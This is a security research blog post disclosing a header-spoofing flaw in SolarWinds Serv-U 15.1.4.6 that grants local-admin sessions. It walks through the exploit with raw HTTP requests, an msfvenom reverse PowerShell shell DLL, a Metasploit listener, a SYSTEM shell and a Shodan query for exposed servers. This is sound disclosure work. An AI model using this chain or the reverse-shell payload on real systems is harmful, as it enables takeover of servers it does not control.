SpiderLabs Blog

Exploiting Privilege Escalation in Serv-U by SolarWinds

Written by Leopold von Niebelschuetz-Godlewski | Mar 22, 2017 9:49:00 AM

I was recently working on an external network penetration test where I identified a new vulnerability in a file sharing web application called Serv-U by SolarWinds. This vulnerability granted me administrative privileges to the Serv-U application, and, allowed for remote code execution within the context of the SYSTEM user account. In order to demonstrate identification and exploitation of the privilege escalation vulnerability and achieve remote code execution, I will install a trial version of the Serv-U application on a Windows 7 virtual machine.

Once Serv-U has been installed, no configuration changes are necessary to exploit the vulnerability. Note that by default the Serv-U web server is listening on the loopback interface, however during the engagement this service was public facing.

In order to identify the vulnerability I crawled the web application using Burp Suite's Spider, which helped identify the /?Command=Login page. I then used Burp Suite's Scanner in order to fuzz various pages, which identified a different response when supplying the X-Forwarded-For HTTP header. After a quick manual verification of the findings, it appeared that when submitting a "login request" (no POST parameters are necessary), with the X-Forwarded-For header set to 127.0.0.1, the Serv-U application returns a valid Session cookie for the local administrator account.

POST /?Command=Login HTTP/1.1
Host: 127.0.0.1:43958
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
X-Forwarded-For: 127.0.0.1


HTTP/1.0 200 OK
Server: Serv-U/15.1.4.6
Date: Mon, 30 Jan 2017 16:47:40 GMT
Accept-Encoding: deflate
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: text/html
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: Session=_78933e21bd7d9f5a64fe82a8029cce5c6a7cda5f1fbf886d74afcb5b36eabf0fe29351b5fa8a8f66b6884d4dc3cb47748f5c30dd378a14690754581406246bf8; path=/; httponly;
Set-Cookie: CsrfToken=D9F1F03FE9F7E8E7D0BE2DEF2ECAED7C; path=/; httponly;
Set-Cookie: SULang=en
Content-Length: 66844

...TRUNCATED...

Upon submitting this request from the Firefox web browser, it appears that an error occurred.

However, the local administrator session cookie that was provided by the application is valid.

GET / HTTP/1.1
Host: 127.0.0.1:43958
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: SULang=en%2CUS; killmenothing; Session=_78933e21bd7d9f5a64fe82a8029cce5c6a7cda5f1fbf886d74afcb5b36eabf0fe29351b5fa8a8f66b6884d4dc3cb47748f5c30dd378a14690754581406246bf8; CsrfToken=D9F1F03FE9F7E8E7D0BE2DEF2ECAED7C
Connection: close
Upgrade-Insecure-Requests: 1

 

HTTP/1.0 200 OK
Server: Serv-U/15.1.4.6
Date: Mon, 30 Jan 2017 16:48:52 GMT
Accept-Encoding: deflate
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: text/html
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: Session=_78933e21bd7d9f5a64fe82a8029cce5c6a7cda5f1fbf886d74afcb5b36eabf0fe29351b5fa8a8f66b6884d4dc3cb47748f5c30dd378a14690754581406246bf8; path=/; httponly;
Set-Cookie: CsrfToken=D9F1F03FE9F7E8E7D0BE2DEF2ECAED7C; path=/; httponly;
Set-Cookie: SULang=en,US
Content-Length: 66844

...TRUNCATED...
sLoggedInUser="(Local Admin)";sLoggedInUserAlt="Local Admin";
...TRUNCATED...

Now that the attacker has administrative privileges to the Serv-U application, the attacker can upload and execute arbitrary DLLs.

Next I created a DLL that will spawn a reverse PowerShell shell with 192.168.1.101:8443 and verifying it will not get flagged by the target's anti-virus software.

root@6c656f:~# msfvenom -p windows/x64/powershell_reverse_tcp LHOST=192.168.1.101 LPORT=8443 -f dll > MFC100PWN.dll
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1810 bytes
Final size of dll file: 5120 bytes

root@6c656f:~# file MFC100PWN.dll
MFC100PWN.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Configuring a listener to catch the reverse shell on 192.168.1.101:8443.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/powershell_reverse_tcp
PAYLOAD => windows/x64/powershell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST => 144.217.164.221
msf exploit(handler) > set LPORT 8443
LPORT => 8443
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse SSL handler on 192.168.1.101:8443
[*] Starting the payload handler...
msf exploit(handler) >

Leveraging Serv-U Web Client to upload the malicious DLL to "C:\Program Files\RhinoSoft\Serv-U".

Executing the uploaded DLL.

The DLL is executed and the attacker receives a SYSTEM shell.

msf exploit(handler) > [*] Powershell session session 1 opened (192.168.1.101:8443 -> xxx.xxx.xxx.xxx:52069) at 2017-01-30 12:07:05 -0500

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Windows PowerShell running as user xxxx-xx-xxxx$ on xxxx-xx-xxxx
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Program Files\RhinoSoft\Serv-U>whoami
nt authority\system

As of January 30, 2017, the following Shodan filter identified over 15,000 public facing servers running the vulnerable service.

Server: Serv-U/ product:"Rhinosoft Serv-U httpd"

Fixes for this issue were released in Serv-U FTP/MFT Server 15.1.5. For more information see our advisory: TWSL2017-008